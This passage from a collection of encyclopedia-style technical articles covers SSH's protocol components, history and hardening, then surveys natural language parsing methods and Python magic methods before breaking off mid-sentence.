on what keys to use for encryption. Algorithms include Diffie-Hellman and RSA.\n    + **Encryption**: SSH can encrypt it's payload, packet length, padding length and padding bytes. Algorithms include chacha-poly1305, aes128-ctr, aes192-ctr, aes256-ctr, aes128-gcm, aes256-gcm, arcfour128 and arcfour256.\n    + **Data Integrity**: By including a Message Authentication Code (MAC) field to each packet, the receiver can check that the packet hasn't been tampered with. MAC is calculated from a sequence number field (not transmitted) and unencrypted bytes. Algorithms include hmac-sha2-256 and hmac-sha2-512.\n    + **Compression**: Payload going into an SSH packet can be optionally compressed. Algorithms include zlib.\n\n### How does SSH differ from SSL?\n\nBoth SSH and SSL (Secure Sockets Layer) are about secure communications. However they differ in terms the sort of applications they enable. The main use of SSH is remote login and providing secure tunnels for insecure programs. System administrators or tech savvy users use SSH. SSL focuses on securing communications between a web browser and a web server. SSL powers websites and e-commerce.  \n\nLike SSH, SSL does authentication, data integrity checks and encryption. While SSH has many ways to authenticate clients, SSL authentication uses certificates. Though SSL offers both server and client authentication, the latter is impractical and rarely used. \n\nFor secure file transfer, SSH enables SFTP. SSL provides a similar service via File Transfer Protocol over SSL (FTPS). \n\n\n### Which are the components of SSH?\n\nSSH-2 includes three distinct protocol components:  \n\n    + **Transport Layer Protocol (SSH-TRANS)**: This is a low-level protocol by which client and server negotiate their support for SSH version and algorithms. Key exchange and server authentication are performed.\n    + **Authentication Protocol (SSH-AUTH)**: This does client authentication. Client can attempt any authentication method supported by the server. The client may send \"none\" method to trigger the server to send a list of supported methods.\n    + **Connection Protocol (SSH-CONN)**: From a single connection multiple logical channels are setup. For example, one channel might be an interactive user session while another might be an SSH tunnel for an insecure application.\n\n### Could you describe the SSH protocol handshaking?\n\nWhen a client contacts the server, a TCP connection is established. As the next step, client and server **negotiate** on two things based on their capabilities: (a) the version of SSH to use; (b) the algorithms to use. \n\nThe **Key Exchange (kex)** procedure follows. This includes explicit or implicit **server authentication**. This outputs a shared secret K and an exchange hash H. Encryption and authentication keys are derived from these. H from the first key exchange serves as the session identifier. RFC 4253 recommends that keys be re-exchanged every hour or after 1 GB of data transfer. \n\nNext, the client makes a **service request**. The service request can be either SSH-AUTH, SSH-CONN or SSH-AUTH followed with SSH-CONN. With SSH-TRANS, a password could be used for **client authentication**. A more popular method is use pubic-private key pair, called key-based authentication. Another method is host-based authentication where server allows connections from specific hostnames. Once authenticated, client and server can establish a channel and exchange data. \n\n\n### How is SSH-2 different from SSH-1?\n\nSSH-1 is a monolithic protocol whereas SSH-2 is designed as three separate components: SSH-TRANS, SSH-AUTH and SSH-CONN. With this modular approach, SSH-2 improves on many aspects: algorithm negotiation, multiple methods of key exchange, certificates for public keys, more flexible authentication, stronger integrity checks, and periodic renewal of session key. \n\nFor client/server authentication, DSA works with only SSH-2 whereas RSA works with both versions of SSH. Mathematically, DSA is based on the discrete logarithm problem whereas RSA is base on the prime factorization problem. SSH-2 is extensible, that is, it can work with any public-key signature algorithm. For password-based authentication, SSH-2 allows users to change password. \n\nSSH-2 doesn't support DES and IDEA encryption algorithms, either due to their weakness or licensing restrictions. SSH-2 adds SFTP to the SSH suite. \n\nUnlike SSH-1, SSH-2 supports multiple interactive sessions. Many **channels** can be multiplexed over the same SSH connection. Thus, X or port forwarding can be done without opening separate terminal sessions for each. \n\nAs per RFC 4253, servers that support both versions are required to identify the `protoversion` as **SSH-1.99**.  \n\n\n### What tools are available for using SSH?\n\nTwo common tools that run on top of SSH are **SFTP** for secure file transfer and **SCP** for secure file copy. These are secure counterparts of earlier UNIX/Linux programs FTP and RCP. Popular implementations include OpenSSH, PuTTY and Tectia SSH. Built-in SSH clients are available on Windows, Linux and Mac. SFTP programs include WinSCP (Windows), gFTP (Linux) and Fetch (Mac). \n\nSSH requires key generation and management. The tool `ssh-keygen` generates public-private key pairs. Once generated, the client's public key needs to be copied to the server. This is aided by the `ssh-copy-id` tool. On the server, the clients' public keys are stored at `~/.ssh/authorized_keys`. \n\nWhen initiating an SSH connection, the user will be prompted for the passphrase. The tool `ssh-agent` stores the client's private key so that the user need not enter the passphrase for subsequent SSH connections. The tool `ssh-add` adds the key to the agent once the correct passphrase is supplied. \n\n\n### What are some limitations of SSH?\n\nSSH works well in low-latency environments. In high-latency environments such as 4G connections or satellite links, making an SSH connection or relaying user commands can be slow. Mobile Shell (Mosh) has come up as an alternative for these scenarios. It uses SSH for the initial connection but subsequently uses UDP rather than TCP. \n\nSSH keys don't expire. SSH key mismanagement is an issue. Stolen keys, hardcoded root authorized keys, and host key copied from one host to another are all problems. The Sony breach of 2014 was achieved with stolen SSH keys. \n\nPort forwarding occurs at the application layer, not at the network layer. Hence, it's not completely transparent to the application. Some configuration may be needed to get it working. For example, FTP data channels are hard to forward. For complete transparency, alternatives such as IPSec or VPN may be more suitable. \n\n\n### How can I make SSH connections more secure?\n\nThere are a few things system administrators can do on the server side to make SSH more secure. Hackers may try brute-force password attacks. This can be avoided by disabling password-based authentication. Disable remote login for the root user. Be restrictive, that is, allow SSH only for some users. SSH by default uses port 22. Configure the server to use a non-default port. \n\nWhen creating public-private key pair, use a strong passphrase. Key generation requires randomness. Use a hardware random number generator. Update the seed file after generating the SSH host key. \n\nIn large organizations, SSH key management solutions are needed. SSH Communications Security's Universal SSH Key Manager and Venafi's SSH Protect are examples. SSH keys should be at locations accessible by only the root user. \n\nThough SSH sessions are encrypted, traffic analysis can still yield may clues as to what's happening. This could be mitigated by including random amount of padding. \n\n\n### Which are the RFCs that specify SSH?\n\nThe Secure Shell (SECSH) Working Group of the IETF defined a number of documents for SSH. We note the following as essential reading: \n\n    + **RFC 4250**: The Secure Shell (SSH) Protocol Assigned Numbers\n    + **RFC 4251**: The Secure Shell (SSH) Protocol Architecture\n    + **RFC 4252**: The Secure Shell (SSH) Authentication Protocol\n    + **RFC 4253**: The Secure Shell (SSH) Transport Layer Protocol\n    + **RFC 4254**: The Secure Shell (SSH) Connection ProtocolThe above documents refer to further RFCs that update them: 6668, 8268, 8308, 8332, 8709, 8758, 9141, 9142.  \n\nTwo online sources have published useful lists of RFCs pertaining to SSH:  OmniSecu and OpenSSH.\n\n## Milestones\n\nJul  \n1995\n\nYlönen, a researcher at the Helsinki University of Technology, discovers a password-sniffing attack. Plain-text communication protocols are inadequate and underscore the necessity of secure communication. To address these, Ylönen creates **Secure Shell (SSH)** with a focus on security and encryption. Ylönen releases the first version of SSH, named **SSH-1**. Internet Assigned Numbers Authority (IANA) assigns **port number 22** to SSH. By the year's end, about 20,000 users from 50 countries are using SSH. Given this popularity, in December 1995, Ylönen commercializes the technology under the name SSH Communications Security, Ltd. \n\nNov  \n1995\n\nYlonen publishes an IETF Internet-Draft that details SSH. This is the first formal description of the protocol. The draft expires in May 1996. \n\nSep  \n1996\n\nSSH Communications Security, Ltd. releases **SSH-2**. SSH-1 had evolved in an ad hoc manner and had limitations and flaws. SSH-2 introduces more secure algorithms. It improves session identifier and key exchange. However, SSH-2 is incompatible with SSH-1. The last free version of SSH-1 is 1.2.12. \n\nFeb  \n1997\n\nThe use of SSH-2 (as released by SSH Communications Security, Ltd.) has licensing restrictions. At the IETF, a new Working Group named Secure Shell, aka **SECSH**, is formed. It's mandate is to standardize SSH that can also be used openly. The first IETF Internet-Draft of SSH-2 comes out in February 1997. \n\nDec  \n1999\n\nOpenBSD developers need a secure communication protocol. A few members work to modify and enhance *OSSH*, a fork of SSH created by Swedish programmer Groenvall. OpenBSD releases the first version of **OpenSSH**. In subsequent years, OpenSSH gains wide adoption, particularly in all POSIX-compliant operating systems. \n\nFeb  \n2002\n\nA vulnerability is discovered in the CBC mode block cipher. One suggested solution is to use more secure cipher modes. Systems could disable weak ciphers (3des-cbc, aes128-cbc, aes256-cbc, des-cbc), weak key exchange algorithms (diffie-hellman-group-exchange-sha1, diffie-hellman-group1-sha1) and weak MAC algorithms (hmac-md5, hmac-md5-96, hmac-sha1-96). For example, HP switches can be configured to block these weak options. \n\nJan  \n2006\n\nIETF publishes the main RFCs that standardize SSH-2: 4250, 4251, 4252, 4253 and 4254. In October, the Working Group SECSH is closed. \n\nMar  \n2006\n\nIETF publishes RFC 4432 that specifies **RSA Key Exchange**. IETF's SSH-2 uses Diffie-Hellman key exchange, which can take tens of seconds on slow devices. RSA-based key exchange is therefore proposed. The latter was supported in the original SSH-1 protocol. \n\nJul  \n2012\n\nIETF publishes RFC 6668 that specifies the use of **SHA-2** for data integrity verification. Specifically, it defines hmac-sha2-256 (recommended) and hmac-sha2-512 (optional). This comes as a response to SHA-1 and MD5 algorithms that are now considered weak. In March 2018, RFC 8332 is published. This adds public key algorithms rsa-sha2-256 (recommended) and rsa-sha2-512 (optional). \n\nFeb  \n2020\n\nIETF publishes RFC 8709 that formalizes the use of **Ed25519 and Ed448 algorithms**. These are Digital Signature Algorithms (DSAs) used for authenticating clients and servers. In SSH, they're not used for encryption. OpenSSH 6.5 (released in 2014) introduced support for Ed25519. This RFC formalizes this and adds Ed448. \n\nApr  \n2020\n\nIETF publishes RFC 8758 that **deprecates RC4**. RC4 encryption with its 128-bit key has known weaknesses. It's replacement are \"arcfour128\" (128-bit key) and \"arcfour256\" (256-bit key) that are specified in RFC 4345 (January 2006). In both algorithms, the first 1536 bytes generated by the cipher are discarded. \n\nJan  \n2022\n\nIETF publishes **RFC 9142** that recommends which key exchange methods are safe and which ones should be avoided. Specifically, SHA-1 hash should be avoided. It also states, \"A key exchange method is considered weak when the security strength is insufficient to match the symmetric cipher or the algorithm has been broken.\"","meta":{"title":"Secure Shell","href":"secure-shell"}}
{"text":"# Natural Language Parsing\n\n## Summary\n\n\nNatural languages were designed by humans, for humans to communicate. They're not in a form that can be easily processed or understood by computers. Therefore, natural language parsing is really about finding the underlying **structure** given an input of text. In some sense, it's the opposite of templating, where you start with a structure and then fill in the data. With parsing, you figure out the structure from the data. \n\nNatural languages follow certain rules of **grammar**. This helps the parser extract the structure. Formally, we can define parsing as, \n\n> the process of determining whether a string of tokens can be generated by a grammar.\n\nThere are a number of parsing algorithms. Statistical methods have been popular since the 1980s. By the late 2010s, neural networks were being increasingly used.\n\n## Discussion\n\n### Could you introduce the basics of natural language parsing?\n\nText is a sequence of words. This can be simply represented as a \"bag of words\". This is not very useful. We can obtain a more useful representation by making use of syntactic structure. Such a structure exists because the sentence is expected to follow rules of grammar. By extracting and representing this structure, we transform the original plain input into something more useful for many downstream NLP tasks. Beyond syntax, parsing is also about obtaining the semantic structure. \n\nIn a typical flow, input text goes into a lexical analyzer that produces individual tokens. These tokens are the input to a parser, which produces the syntactic structure at the output. When this structure is graphically represented as a tree, it's called a **Parse Tree**. A parse tree can be simplified into an intermediate representation called **Abstract Syntax Tree (AST)**. \n\nStructure can be represented either as a phrase structure tree or in labelled bracketed notation. \n\n\n### What are the common difficulties in natural language parsing?\n\nBreaking an input into sentences is the first challenge. Input could be formatted as tables or may contain page breaks. While punctuation is useful for this task, punctuation in abbreviations (e.g. or U.S.) can cause problems.\n\nGiven an input, a parser should be able to pick out the main phrases. This is not a solved problem. A more difficult problem is to obtain the correct semantic relationships and understand the context of discussion. Word embeddings such as word2vec operate at word level. This work needs to be extended to phrases. \n\nAnnotated corpora and neural network models are often about newswire content. Applying them to specific domains such as medicine is problematic. \n\nUnlike parsing computer languages, parsing natural languages is more challenging because there's often ambiguity in human communication. A well-known example is \"I shot an elephant in my pajamas.\" Was I or was the elephant wearing my pajamas? Humans also use sarcasm, colloquial phrases, idioms, and metaphors. They may also communicate with grammatical or spelling errors.\n\n\n### Could you compare constituency parsing with dependency parsing?\n\nConstituency parsing and dependency parsing are respectively based on Phrase Structure Grammar (PSG) and Dependency Grammar (DG). Dependency parsing in particular is known to be useful in many NLP applications. \n\nPSG breaks a sentence into its constituents or phrases. These phrases are in turn broken into more phrases. Thus, the parse tree is recursive. On the other hand, DG is not recursive, implying that phrasal nodes are not produced. Rather, it identifies a network of relations. Two lexical items are asymmetrically related. One of them is the dependent word, the other is the head or governing word. Relations are labelled. \n\nConsider the sentence, \"She bought a car\". In constituency parsing, \"bought a car\" is a verb phrase, which in turn contains noun phrase \"a car\". Thus, the structure is recursive. With dependency parsing, a directed arc identifies the relation along with a label. Typically, arrows go from head to dependent. \n\nLanguages such as Finnish that allow greater freedom of word order will benefit from dependency representation. This doesn't mean that English can't benefit from dependency representation. \n\n\n### What is shallow parsing and how is it useful?\n\nConstituency parsing is complex. Traditionally, such full parsing was not robust in noisy surroundings (although CoNLL 2007 Shared Task changed that). Some researchers therefore proposed **partial parsing** where completeness and depth of analysis were sacrificed for efficiency and reliability. **Chunking** or **shallow parsing** is a basic task in partial parsing. \n\nChunking breaks up a sentence into syntactic constituents called *chunks*. Thus, each chunk can be one or more adjacent tokens. Unlike full parsing, chunks are not further analyzed. Chunking is thus non-recursive and fast. Chunks alone can be useful for other NLP tasks such as named entity recognition, text mining or terminology discovery. Chunks can also be a useful input to a dependency parser. \n\nPOS tagging tags the words but doesn't bring out the syntactic structure. Chunking can be seen as being somewhere between POS tagging and full parsing. Chunking can include the POS tags. Perceptron, SVM and bidirectional MEMM are some algorithms used for chunking. \n\n\n### What are the main approaches to text parsing?\n\nParsing is really a search problem. Search space of possible parse trees is defined by a grammar. An example grammar rule is \"VP → VP NP\". Broadly, there are two parsing strategies: \n\n    + **Top Down**: Goal-driven. Starts from the root node and expands to the next level of nodes using the grammar. Checks for left-hand side match of grammar rules. Repeat this until we reach the POS tags at the leaves. Trees that don't match the input are removed.\n    + **Bottom Up**: Data-driven. Starts from the input sequence of words and their POS tags. Builds the tree upwards using the grammar. Checks for right-hand side match of grammar rules.While bottom-up can waste time searching trees that don't lead to the root sentence, it's grounded on the input and therefore never suggests trees that don't match the input. These pros and cons are reversed with top-down. \n\nRecursive descent parser is top-down. Shift-reduce parser is bottom-up. Recursive descent parser can't handle left-recursive production. Left-corner parser is a hybrid that solves this problem. \n\nBorrowing from dynamic programming, **chart parsing** saves and reuses intermediate results. It also dynamically determines the order in which entries are processed. \n\n\n### What are the some algorithms for text parsing?\n\nState-of-the-art models in 2019 were based on neural networks. For both constituency parsing and dependency parsing, a combination of self-attention transformer architecture and Head-Driven Phrase Structure Grammar (HPSG) gave the best score. Earlier models used LSTM.  \n\nBefore the use of neural networks, there were a number of algorithms: Stanford, Charniak, CJ, Bikel, Berkeley (for constituency); and Covington, Nivre, MSTParser, RelEx (for dependency). Most dependency parsers are much faster than constituency parsers. MaltParser implements Nivre and Covington algorithms. MSTParser implements Eisner and Edmonds algorithms. \n\nAlgorithms that adopt dynamic programming include Cocke-Kasami-Younger (CKY), Earley, and chart parsing. While CKY is bottom-up, Earley is top-down. \n\n\n### How do text parsing algorithms disambiguate?\n\nWhen there's ambiguity, we end up with multiple parse trees. This is where **probabilistic grammar** becomes useful, where rules have associated probabilities. The most probably parse tree is selected. The well-known CKY algorithm becomes probabilistic. \n\nGiven a treebank such as the Penn Treebank, it's easy to obtaining these probabilities. If we don't have any such treebank, we can use the Expectation-Maximization (EM) algorithm to iteratively arrive at these probabilities. \n\nAnother approach is to let the probabilistic model account for **lexicalized rules**. For example, a rule such as \"VP → VBD NP PP\" is changed to \"VP(dumped,VBD) → VBD(dumped,VBD) NP(sacks,NNS) PP(into,NN)\". It's difficult to obtain probabilities when we're so specific but there are techniques to do this. Two lexicalized parsers are Collins parser and Charniak parser. \n\n\n### Could you mention some text parsers that I can use?\n\nCommonly used Python NLP packages such as NLTK and spaCy have utilities for parsing. FreeLing and Apache OpenNLP support parsing. Berkeley Parser, Stanford Parser and Stanford CoreNLP support parsing. The Stanford Parser includes a shift-reduce constituent parser and a neural network dependency parser. \n\nIn R, *udpipe* is the package to use for dependency parsing. \n\nTwo open source tools from Google include SLING and SyntaxNet. Both of these are based on neural networks. SLING is trained for semantic frames of interest.  \n\nAlthough written for computer languages, Aho and Ullman's book (1972) is a classic reference that's applicable for natural language parsing as well. \n\n## Milestones\n\n1950\n\nNoam Chomsky introduces **Phrase Structure Grammar (PSG)** in the 1950s. While mainly used for syntax, it has found applications in semantics and phonology. \n\n1959\n\nHistorically, **Dependency Grammar (DG)** predates phrase structure grammar by many centuries. However, the modern history of dependency grammar starts with Frenchman Lucien Tesnière whose main work is published posthumously. Subsequently, DG advances through the 1960s. \n\n1967\n\nPatterns in the form of **regular expressions** can be used for parsing. While regular expressions date back to the 1950s, it's in 1967 that Ken Thompson at Bell Labs brings regex from the world of mathematics to computer science for the first time. In the 1970s, regular expressions make their way into some UNIX programs.  \n\n1992\n\n**Penn Treebank** is released. It has 4.5 million words that are POS tagged. One-third of these are also annotated with skeletal syntactic bracketing. A treebank is a collection of text released with corresponding parse trees. Treebanks like this one provide annotated datasets for training statistical models. \n\n1994\n\nPollard and Sag develop a highly lexicalized, constraint-based grammar called **Head-driven Phrase Structure Grammar (HPSG)**. In 2004, Miyao et al. acquire this grammar from the Penn Treebank. In 2019, Zhou and Zhao develop a HPSG parser that gives better predictions on both constituent and dependency tree structures. \n\n1995\n\nBased on Brill's earlier work (1992) on POS tagging using transformation-based learning, Ramshaw and Marcus adapt it to the problem of **chunking** by framing it as a tagging task. Tags are introduced to denote beginning (B), internal (I) and outside part (O) of a chunk. Later this approach is named **IOB tagging**. \n\n2006\n\nDependency relations are useful in a number of NLP tasks. Existing dependency parsers are not robust or accurate as phrase structure parsers. The Penn Treebank, and other treebanks trained on large corpora, provide only phrase structure parses. As a solution to this problem, Stanford researchers come up with a system that automatically extracts typed dependency parses from phrase structure parses. In time, this becomes popular as the **Stanford Dependencies** and leads to **Universal Dependencies** that can be used for many natural languages. \n\nMay  \n2016\n\nWith the release of **SyntaxNet** from Google, what is claimed to be the world's most accurate English parser, **Parsey McParseface**, goes open source. This is built using machine learning. A neural network learns to resolve ambiguities. Multiple possible interpretations of structure are preserved via beam search rather than selecting the first best interpretation. On the Penn Treebank, this model achieves 94% accuracy, which compares well against human accuracy of 96-97%.","meta":{"title":"Natural Language Parsing","href":"natural-language-parsing"}}
{"text":"# Magic Methods in Python\n\n## Summary\n\n\nMagic methods are special methods that are called implicitly by the Python interpreter to execute corresponding operations. They help customize common operators or constructs. They make code more intuitive and Pythonic.\n\nFor example, to add two Python objects we might write `a + b`. The actual execution would call the magic method `a.&lowbar;&lowbar;add&lowbar;&lowbar;()` implicitly to perform this addition. If this magic method doesn't exist, the Python interpreter would call `b.&lowbar;&lowbar;radd&lowbar;&lowbar;()`. Application code where addition is invoked is itself simple and readable. \n\nThere are several conceptual groups of magic methods such as object lifecycle, object representation, object comparison, object attributes, class creation, callability, containers, numerics, context management, and more. This article describes many of these and shares how to use them.\n\n## Discussion\n\n### What are the characteristics of magic methods?\n\nMagic methods are simply special methods. They have system-defined names **starting and ending with double underscores**, informally known as *dunder* names. Not all of these are magic methods. \n\nSeveral built-in classes define various magic methods. Output of `dir()` can be filtered to see only dunder names but not all are magic methods. Further, `callable()` can be used to introspect these names, but not all callables are magic methods. Ultimately, Python documentation clarifies which attributes are magic methods. For example, as illustrated in the figure, `&lowbar;&lowbar;doc&lowbar;&lowbar;` isn't one and `&lowbar;&lowbar;class&lowbar;&lowbar;` despite being callable isn't one. \n\nThe code above shows implicit calls to `&lowbar;&lowbar;str&lowbar;&lowbar;()` and `&lowbar;&lowbar;repr&lowbar;&lowbar;()` magic methods by `str()` and `repr()` respectively. These return suitable string representations of the `Point2d` instances. Magic methods thus serve these purposes:\n\n    + Enable classes to define their own behaviour corresponding to Python operators or constructs.\n    + Enable developers to write Pythonic code. A developer could have written `to_string()` method but magic methods provide a uniform convention. This reduces technical debt.\n    + Enable code reuse and design patterns. For example, custom objects can be compared and sorted based on magic methods without extra effort.\n\n### Could you give an overview of the main magic methods?\n\nPython 3.10.1 has dozens of magic methods. We discuss them within a few conceptual groups:  \n\n    + **Object Lifecycle**: These relate to creation, initialization and destruction of objects. Eg. `&lowbar;&lowbar;new&lowbar;&lowbar;()`, `&lowbar;&lowbar;init&lowbar;&lowbar;()`, `&lowbar;&lowbar;del&lowbar;&lowbar;()`.\n    + **String Representation**: These represent objects as strings. Eg. `&lowbar;&lowbar;repr&lowbar;&lowbar;()`, `&lowbar;&lowbar;str&lowbar;&lowbar;()`.\n    + **Comparisons**: To compare objects via operators `<`, `==`, `>=`, etc. Eg. `&lowbar;&lowbar;lt&lowbar;&lowbar;()`, `&lowbar;&lowbar;eq&lowbar;&lowbar;()`, `&lowbar;&lowbar;ge&lowbar;&lowbar;()`.\n    + **Math Operations**: Arithmetic operators `+`, `*`; bit operators `&`, `<<`; and math functions. Eg. `&lowbar;&lowbar;add&lowbar;&lowbar;()`, `&lowbar;&lowbar;rshift&lowbar;&lowbar;()`, `&lowbar;&lowbar;floor&lowbar;&lowbar;()`.\n    + **Type Conversions**: Convert from one type to another. Eg. `&lowbar;&lowbar;bool&lowbar;&lowbar;()`, `&lowbar;&lowbar;int&lowbar;&lowbar;()`.\n    + **Type Check**: Check class hierarchy. Eg. `&lowbar;&lowbar;instancecheck&lowbar;&lowbar;()`, `&lowbar;&lowbar;subclasscheck&lowbar;&lowbar;()`.\n    + **Context Manager**: To set up and clean up objects within a context, such as open/close of files. Eg. `&lowbar;&lowbar;enter&lowbar;&lowbar;()`, `&lowbar;&lowbar;exit&lowbar;&lowbar;()`.\n    + **Attribute Access**: Control access or inspect instance attributes. Eg. `&lowbar;&lowbar;getattr&lowbar;&lowbar;()` , `&lowbar;&lowbar;dir&lowbar;&lowbar;()` , `&lowbar;&lowbar;set&lowbar;&lowbar;()` .\n    + **Operations on Sequences**: Find length, get/set/delete items or iterate through items of a sequence. Eg. `&lowbar;&lowbar;len&lowbar;&lowbar;()`, `&lowbar;&lowbar;getitem&lowbar;&lowbar;()`, `&lowbar;&lowbar;contains&lowbar;&lowbar;()`.\n    + **Asynchronous**: Pertaining to asynchronous operations. Eg. `&lowbar;&lowbar;await&lowbar;&lowbar;()`, `&lowbar;&lowbar;aiter&lowbar;&lowbar;()`, `&lowbar;&lowbar;aenter&lowbar;&lowbar;()`.\n    + **Miscellaneous**: Not covered above. Eg. `&lowbar;&lowbar;call&lowbar;&lowbar;()`, `&lowbar;&lowbar;mro_entries&lowbar;&lowbar;()`.Some Python modules add their own magic methods. Examples include `copy.&lowbar;&lowbar;deepcopy&lowbar;&lowbar;()` and `pickle.&lowbar;&lowbar;reduce&lowbar;&lowbar;()`. \n\n\n### Are magic methods Python's approach to operator overloading?\n\nIndeed, magic methods are Python's approach to operator overloading. \n\nHowever, there are many magic methods that don't correspond to an operator. For example, `&lowbar;&lowbar;str&lowbar;&lowbar;()`, `&lowbar;&lowbar;bool&lowbar;&lowbar;()` and `&lowbar;&lowbar;repr&lowbar;&lowbar;()` are magic methods corresponding to functions rather than operators.\n\nFurther, for example, the `object` class implements `&lowbar;&lowbar;eq&lowbar;&lowbar;()`, which corresponds to the `==` operator. When we implement this magic method we're technically overriding a base class method in OOP parlance.  However, we're actually overloading the `==` operator. \n\nThis is why it's better to think of magic methods as *intuitive interfaces*.\n\n\n### What magic methods differ between Python 2 and Python 3?\n\nFor object comparisons, Python 2's magic method `&lowbar;&lowbar;cmp&lowbar;&lowbar;()` is replaced with *rich comparison methods* in Python 3: `&lowbar;&lowbar;lt&lowbar;&lowbar;()`, `&lowbar;&lowbar;le&lowbar;&lowbar;()`, `&lowbar;&lowbar;eq&lowbar;&lowbar;()`, `&lowbar;&lowbar;ne&lowbar;&lowbar;()`, `&lowbar;&lowbar;gt&lowbar;&lowbar;()`, `&lowbar;&lowbar;ge&lowbar;&lowbar;()`. Because it can be extra work to implement all these magic methods for a class, Python 3 provides the decorator `@functools.total_ordering`. We can provide implementations for `&lowbar;&lowbar;eq&lowbar;&lowbar;()` and one of the ordering operators. The decorator will supply the rest. \n\nPython 2's magic method `&lowbar;&lowbar;nonzero&lowbar;&lowbar;()` is replaced with `&lowbar;&lowbar;bool&lowbar;&lowbar;()`. Method `&lowbar;&lowbar;div&lowbar;&lowbar;()` is replaced with `&lowbar;&lowbar;truediv&lowbar;&lowbar;()`. Method `&lowbar;&lowbar;unicode&lowbar;&lowbar;()` is removed since strings in Python 3 are Unicode by default. \n\nPython 2's `&lowbar;&lowbar;coerce&lowbar;&lowbar;` is no longer needed since other magic methods do this in Python 3. For example, `2 + 3.5` would do type coercion in Python 2 but in Python 3, `&lowbar;&lowbar;radd&lowbar;&lowbar;()` on the float object is called to add the integer. \n\n\n### Which magic methods are available for object lifecycle constructs?\n\n`&lowbar;&lowbar;new&lowbar;&lowbar;()`, `&lowbar;&lowbar;init&lowbar;&lowbar;()` and `&lowbar;&lowbar;del&lowbar;&lowbar;()` are magic methods that allow customization of object creation, initialization and destruction respectively.\n\n`&lowbar;&lowbar;new&lowbar;&lowbar;()` is mainly intended to allow subclasses of immutable types to customize instance creation and to customize class creation in custom metaclasses. `&lowbar;&lowbar;init&lowbar;&lowbar;()` is mainly intended for object customization before returning to the caller; that is, `&lowbar;&lowbar;new&lowbar;&lowbar;()` deals with creation and is a static class method while `&lowbar;&lowbar;init&lowbar;&lowbar;()` deals with initialization and is an instance method. `&lowbar;&lowbar;del&lowbar;&lowbar;()` is for runtime clean up just before an instance is destroyed, which only happens if the corresponding reference count becomes zero.  \n\nThere are magic methods to customize class creation itself. Classes themselves are objects: a class is created from its metaclass. Classes themselves use memory, can be assigned, copied and passed as parameters, and even dynamically created. Magic method `&lowbar;&lowbar;init_subclass&lowbar;&lowbar;()` influences the behaviour of future subclasses as this method is called whenever the class is subclassed. Related magic methods include `&lowbar;&lowbar;set_name&lowbar;&lowbar;()`, `&lowbar;&lowbar;prepare&lowbar;&lowbar;()`, `&lowbar;&lowbar;instancecheck&lowbar;&lowbar;()`, `&lowbar;&lowbar;subclasscheck&lowbar;&lowbar;()`, and `&lowbar;&lowbar;class_getitem&lowbar;&lowbar;()`. \n\n\n### Which magic methods are available for object representation?\n\nObjects of type `str` are inherently strings but any Python object can be given a string representation. Built-in functions `str()`, `repr()`, `bytes()`, `format()`, and `print()` serve this purpose. However, their default behaviours can be customized by defining suitable magic methods.\n\nBuilt-in function `repr()` calls magic method `&lowbar;&lowbar;repr&lowbar;&lowbar;()` to obtain the *official* string representation. Built-in functions `str()` and `print()` call magic method `&lowbar;&lowbar;str&lowbar;&lowbar;()` to obtain an *informal* and printable string. Since `&lowbar;&lowbar;repr&lowbar;&lowbar;()` is typically used for debugging, it should return an information-rich and unambiguous string. If possible, it should be a valid Python expression string for data serialization so that the instance can be recreated from the string. \n\nBuilt-in function `bytes()` calls magic method `&lowbar;&lowbar;bytes&lowbar;&lowbar;()` to obtain a byte-string representation, which is primarily useful for storage and network transfers. \n\nBuilt-in function `format()` and string method `str.format()` call magic method `&lowbar;&lowbar;format&lowbar;&lowbar;()` to evaluate formatted string literals, also known as *format-strings*. If this magic method is not defined, `&lowbar;&lowbar;str&lowbar;&lowbar;()` is called instead. \n\n\n### Which magic methods are available for object comparison?\n\nComparison magic methods allow custom classes to implement specific comparison behaviours. Python defines six object comparison magic methods: `&lowbar;&lowbar;lt&lowbar;&lowbar;()`, `&lowbar;&lowbar;le&lowbar;&lowbar;()`, `&lowbar;&lowbar;eq&lowbar;&lowbar;()`, `&lowbar;&lowbar;ne&lowbar;&lowbar;()`, `&lowbar;&lowbar;gt&lowbar;&lowbar;()` and `&lowbar;&lowbar;ge&lowbar;&lowbar;()`, corresponding to `<`, `<=`, `==`, `!=`, `>`, and `>=` respectively. \n\nThe magic methods should return the singleton `NotImplemented` if the comparison is not implemented for the requested operands. They should return a boolean value. Otherwise, Python will call `bool()` on the returned object. \n\nIf `&lowbar;&lowbar;ne&lowbar;&lowbar;()` is undefined, its default behaviour is to call `&lowbar;&lowbar;eq&lowbar;&lowbar;()` and invert the result. No such relation exists among other comparison operators. For example, Python doesn't enforce that `x < y` is same as `y > x`. However, implementations should maintain semantic consistency.\n\n\n### How can I customize object conversions?\n\nAny Python object can be used in boolean context, such as `if obj: pass`. This operation is trivial for a `bool` type object. For other types, we need a way to evaluate the object in a boolean context. Magic method `&lowbar;&lowbar;bool&lowbar;&lowbar;()` does this.\n\nEvaluating an object in a boolean context or directly calling the built-in function `bool()` calls `&lowbar;&lowbar;bool&lowbar;&lowbar;()`, which must return either `True` or `False`. Any other return value will cause Python to raise an exception. If `&lowbar;&lowbar;bool&lowbar;&lowbar;()` is undefined, `bool()` calls `&lowbar;&lowbar;len&lowbar;&lowbar;()`. The result is considered `True` if nonzero and `False` otherwise. If a class doesn't define either of these, all its instances are considered `True`. \n\nLikewise, built-in functions `complex()`, `int()` and `float()` trigger other magic methods. A call of `int()` checks for `&lowbar;&lowbar;int&lowbar;&lowbar;()`, `&lowbar;&lowbar;index&lowbar;&lowbar;()` and `&lowbar;&lowbar;trunc&lowbar;&lowbar;()` in that order; `float()` checks for `&lowbar;&lowbar;float&lowbar;&lowbar;()` and `&lowbar;&lowbar;index&lowbar;&lowbar;()`; `complex()` checks for `&lowbar;&lowbar;complex&lowbar;&lowbar;()`, `&lowbar;&lowbar;float&lowbar;&lowbar;()` and `&lowbar;&lowbar;index&lowbar;&lowbar;()`. \n\nWhen present, `&lowbar;&lowbar;index&lowbar;&lowbar;()` indicates that the object is of integer type. It must return an integer. Python slicing and functions `operator.index()`, `bin()`, `hex()` and `oct()` rely on this. \n\n\n### Which magic methods emulate numeric objects?\n\nNumbers can be added, multiplied or bit-shifted. What if we wish to emulate these behaviours on non-numeric objects? For example, we could add two RGB colour objects or left shift beads on an abacus object. Magic methods associated with numeric operators enable this.\n\nThere are three categories of magic methods (we describe only the addition operator): \n\n    + **Left Operand**: Given `a + b`, the call `a.&lowbar;&lowbar;add&lowbar;&lowbar;(b)` is made.\n    + **Right Operand**: Given `a + b`, the call `a.&lowbar;&lowbar;add&lowbar;&lowbar;(b)` is attempted first. If this doesn't exist or 